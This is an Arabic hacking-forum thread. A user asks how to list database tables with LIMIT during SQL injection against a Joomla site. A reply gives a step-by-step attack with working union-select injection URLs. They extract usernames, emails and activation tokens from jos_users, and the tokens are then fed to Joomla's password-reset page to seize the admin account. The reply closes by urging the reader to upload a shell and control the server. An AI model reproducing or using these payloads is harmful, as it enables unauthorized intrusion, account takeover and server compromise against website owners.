ازاي بنستخدم الامر LIMIT لجلب 5 استعلامات في المرة الواحدة ؟؟؟؟؟

[Dr-X-Designer]

صباح الفل يا رجالة : )
انا في مشكلة مديقاني وخنقاني مع حكاية الاستعلامات دي
انا دايما لما بستعلم بالطريقة العادية عن طريق الـ group_concat البيانات مبتطلعش كاملة او بمعنى اصح بتتقطع ..
.
.
لاحظوا معايا في اسماء الحقول دي

كود PHP:

jos_areas,jos_banner,jos_bannerclient,jos_bannertrack,jos_branchlocator
,jos_career,jos_categories,jos_cities,jos_components,jos_contact_details
,jos_content,jos_content_frontpage,jos_content_rating,jos_core_acl_aro
,jos_core_acl_aro_groups,jos_core_acl_aro_map,jos_core_acl_aro_sections
,jos_core_acl_groups_aro_map,jos_core_log_items,jos_core_ 


.
.
زي ما انتوا شايفين دي حقول مجلة جملة ..
لاحظوا اخر حقل :
jos_core_
طبعا ده مش اسم الحقل بالكامل لانه مقطوع ..
اسم الحقل بالكامل هو jos_core_log_searches
وبالطبع ده مش اخر حقل في الجدول لان لسه في حقول تانية كتير ومنهم طبعا حقل jos_users واللي هو اهم حقل بالنسبالنا ...

طبعا التفسير الوحيد للقطع ده هو الـ timeout بتاع الاستعلامات من القاعدة ....
طيب دلوقتي بما ان الاستعلام مابيكملش للاخر وبيقطع عند حد معين .. طيب ازاي هنعرف باقي الحقول الباقية ؟؟؟؟
طبعا انا بستخدم الـ LIMIT ... ---->

كود PHP:

limit+15,1 


طبعا ده بيجيب الاحقل رقم 16 لان الاستعلامات بتبدا من الرقم صفر
طيب دلوقتي انا لو عاوز اجيب باقي الحقول هستعلم ب 17 و 18 و 19 وووووو لغاية اخر حقل ...
بس دي عملية مملة جدا جدا ... هل في حد عنده حل للحكاية دي ؟؟؟؟
مثلا نضيف للـ LIMIT امر نخليه كل مره يجلب فيها بدل ما يجلب حقل حقل نخليه يجلب عشر حقول كل مرة .....
او هل مثلا ممكن نعمل العملية دي بالدوس او ببرنامج مثلا ينفذلنا الاستعلام بدون ما يقطع ؟؟؟
او هل في اي حاجة او فكرة تانية تفيدنا في الموضوع ده . حد عنده حل مجرب وشغال بيه ؟؟؟
مشكورين يا رجالة واحلى تحية : )

المصدر: :: vBspiders Professional Network ::

---

Vspan style="font-weight: bold; color: #ff0000;"Cydv l[hf:VLspanC h.hd fksjo]l hghlv LIMIT g[gf 5 hsjughlhj td hglvm hg,hp]m ?????

[Dr.NaNo]

صباح النور ياغالي ..

شوف اخي اغالب الاوقات بستخدم الامر group_concat لـ إظهار جميع الجداول ويفضل استخدامه بدل من امر limit


لكــن اذا لم تظهر معاك كافه الجداول باالأمر group_concat تستطيع تخطي هذهـ المشكله ااما عن طريق حقن الموقع بـ برنامج havij او انك تستخدم امر limit وتبدأ تزود بالارقام الين توصل لـ جدول اليوزر .....


لكـن شوف بالنسبه لـ سكربت جوملا اذا كان مصاب يمكنـكـ تخطــــــــــــيه.

اولا تذهب للحقنه بعد استخراج الاعمدة المصابه إذهب الى اي عمود ..

وإكتب في العمود المصاب مثلا هذاالعمود المصاب رقم 4 .

[align=left]http://wwww.nano.com/index.php?id=-1+union+select+1,2,3,4,5,6,7,8--[/align]

لنفترض طلع لك العمود المصاب رقم [ 4 ].......

تكتب فيه كذا .


[align=left]http://wwww.nano.com/index.php?id=-1+union+select+1,2,3,concat(username,0x3a.email),5 ,6,7,8+from+jos_users--[/align]


لو تلاحظ ياغالي اني كتبت اسم اليورز نيم لان معروف سكربت جوملا اسم جدول اليوزر نيم هو username والايميل هو email


واضفت بـ نهاية الرابط jos_users ؛؛< هاي الي يوجد بها اليوزر والباسورد ..



طيب الحين تمام لما تضغط انتر راح يطلع لك اليوزر نيم والايميل .. تمام ..


الان هذا رابط الموقع المصاب ..:

http://wwww.nano.com

ضع خلفهـ .هذا الرابط .:

index.php?option=com_user&view=reset

الان راح تجيك صفحه وراح يقولك ادخل الايميل انت خذ الايميل الي استخرجته من الحقنه وضعه في الصفحه هذهـ ..

تمام بعد ماتضع الايميل راح يقول لك ادخل الـ activation مع اسم اليوز نيم تبع صاحب الموقع ..

طيب كيف نستخرج الـ activation ؟؟

راح اقولك كيف اذهب الى الحقنه .:


[align=left]http://wwww.nano.com/index.php?id=-1+union+select+1,2,3,concat(username,0x3a.email),5 ,6,7,8+from+jos_users--[/align]

امسسح كلمــة email وضع مكانها كلمــه activation راح يكون هكذا شكل الرابط .:


[align=left]http://wwww.nano.com/index.php?id=-1+union+select+1,2,3,concat(username,0x3a.activati on),5,6,7,8+from+jos_users--[/align]


تمام الان اضغط إنتر <<<<<<<<< وراح تشوف رقم الـ activation امامكـ.

سوي له كوبي نسخ وضعـــه في تلك الصفحــه الي فوق التي تطلب الـ activation .. وضع اليوزر نيم تبع الادمن الذي طلع لنا مع الحقنه ..

واضغط موافق وراح يقولك [ أدخل الباسورد الجديد واعد تكرارهـ ].< وانت ادخل اي باسورد في راسك وكرره مره ثانيــة ...

وبعدها اذهب الى لوحه التحكم تبع الادمن وادخل اليوزر نيم تبع الادمن والباسورد الجديد الي سويته انت . ومبروك عليك الموقع وراح تفتح لك لوحه التحكم اذهب وارفع شل وتحكم في السيرفر كامل .





ملاحظـــة \ هذه الطريقـة تنفع فقط لـ سكربت جوملا joomla لان بعض الاحيان لما تستخرج الباسورد في الحقنه يكون مشفر md5 ولا تستطيع فكـــــــــه وبهذه الطريقه يكون تخطينا الباسورد ..




إن شاء الله وصلت المعلومـة لك ياغالي ..






بالتوفيق لك ..

[Dr-X-Designer]

[align=center]يا دكتور نانو يا كبير الله عليك يا غالي
انا وشي منك في الارض يا كبير اصلي للاسف مشوفتش ردك غير دلوقتي بس ...
مش عارف اقولك ايه يا غالي ربنا ميحرمنيش منك يا معلم
احلى تحية
[/align]